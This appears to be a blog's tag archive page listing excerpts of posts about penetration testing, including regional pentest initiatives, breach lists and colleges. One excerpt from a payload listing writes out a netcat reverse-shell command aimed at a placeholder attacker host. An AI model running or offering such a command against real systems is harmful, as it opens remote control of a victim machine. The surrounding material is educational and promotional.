Tag: pentesting
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Los Angeles Pentest Initiative
In the ever-evolving tech scene of both tech companies and business world of Los Angeles, safeguarding our cyber frontiers has become a paramount concern. I am acutely aware of the escalating cyber threats facing the metropolis. To fortify our defenses, Los Angeles has embraced penetration testing (pentesting) as a cornerstone of it’s cybersecurity strategy. This…
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Bay Area Pentest: A Proactive Cyber Measure
In the heart of Silicon Valley, where technological innovation drives economic growth and societal progress, the Bay Area Pentest Initiative stands as a crucial effort to fortify defenses against cyber threats. This collaborative cybersecurity assessment program delves deep into the region’s digital infrastructure, examining vulnerabilities and enhancing resilience across critical sectors. To understand the potential…
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Professional Penetration Testing
Safeguarding Against Global Cyber Threats In an era defined by digi connectivity, the proliferation of cyber threats emanating from state-sponsored actors and rogue entities poses a formidable challenge. Today, we delve into the critical role of professional penetration testing in mitigating the risks posed by global cyber adversaries, including but not limited to, state actors…
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Brooklyn Pentest & Protecting Targets
Fortifying Brooklyn: Safeguarding Critical Infrastructure and National Security Targets In the bustling landscape of New York City, Brooklyn stands as a resilient bastion, pulsating with diversity, culture, and innovation. Spanning a diverse array of neighborhoods and economic hubs, Brooklyn harbors critical infrastructure and national security targets vital to new york city‘s stability and resilience. Through…
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Penetration Testing:Safeguarding Since 1960
The advent of computers and technology in the 1940s marked a transformative era that opened new possibilities for humanity. As digital landscapes expanded, so did the need for robust cybersecurity measures. The concept of penetration testing, or “pentest,” emerged as an essential component of securing computer systems. This article delves into the evolution of penetration…
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Vulnerability Assessment Services: Navigating Cybersecurity Risks with Precision
Vulnerability assessment services have emerged as a crucial component in the defense against cyber threats, offering organizations a proactive and systematic approach to identifying, prioritizing, and mitigating potential security risks. This exploration delves into the intricacies of vulnerability assessment services, examining their importance, methodologies, key benefits, and the role they play in fostering a resilient…
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Evolution of Cybers: Network Pentesting
This post will delve on 17 technologies that changed network pentesting in the past 24 years, since I was addicted to the internet basically. Here are the list of the 17 tech’s that have changed the landscape for both offensive and defensive cybersecurity practictioners. As a prelude of course, I first have to say that…
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17 Breaches – Internal Network Pentest Could Have Prevented
Date Company How Breached Company URL News Article 2013-12-19 Target Malware on Point-of-Sale systems Target Target Data Breach – CNBC 2014-09-02 Home Depot Malware in point-of-sale systems Home Depot Home Depot Confirms Breach – KrebsOnSecurity 2017-09-07 Equifax Exploited a vulnerability in website software Equifax Equifax Data Breach – The Guardian 2013-12-21 Adobe Cyber-attack, exposed user…
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17 Potent Network Pentest Payloads
This post lists the 17 payloads found commonly in the wild. I also wrote a post on 17 of the most common vulnerabilities – here. Payload Description Usage Example URL Reverse Shell Establishes a connection from the target to the attacker, allowing remote control of the system. nc -e /bin/sh attacker_ip 1234 Reverse Shell Payload…
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“Penetration Testing” Colleges: A Nice List
College Name Description URL Bentley University Offers a cybersecurity risk management certificate with diverse certification options, costing $9,900, emphasizing practical skills and inclusive career services. Bentley University Cybersecurity Bowie State University Provides graduate and bachelor’s degrees in computer science with a cybersecurity focus, recognized as a National Center of Academic Excellence. Bowie State Cybersecurity Butler…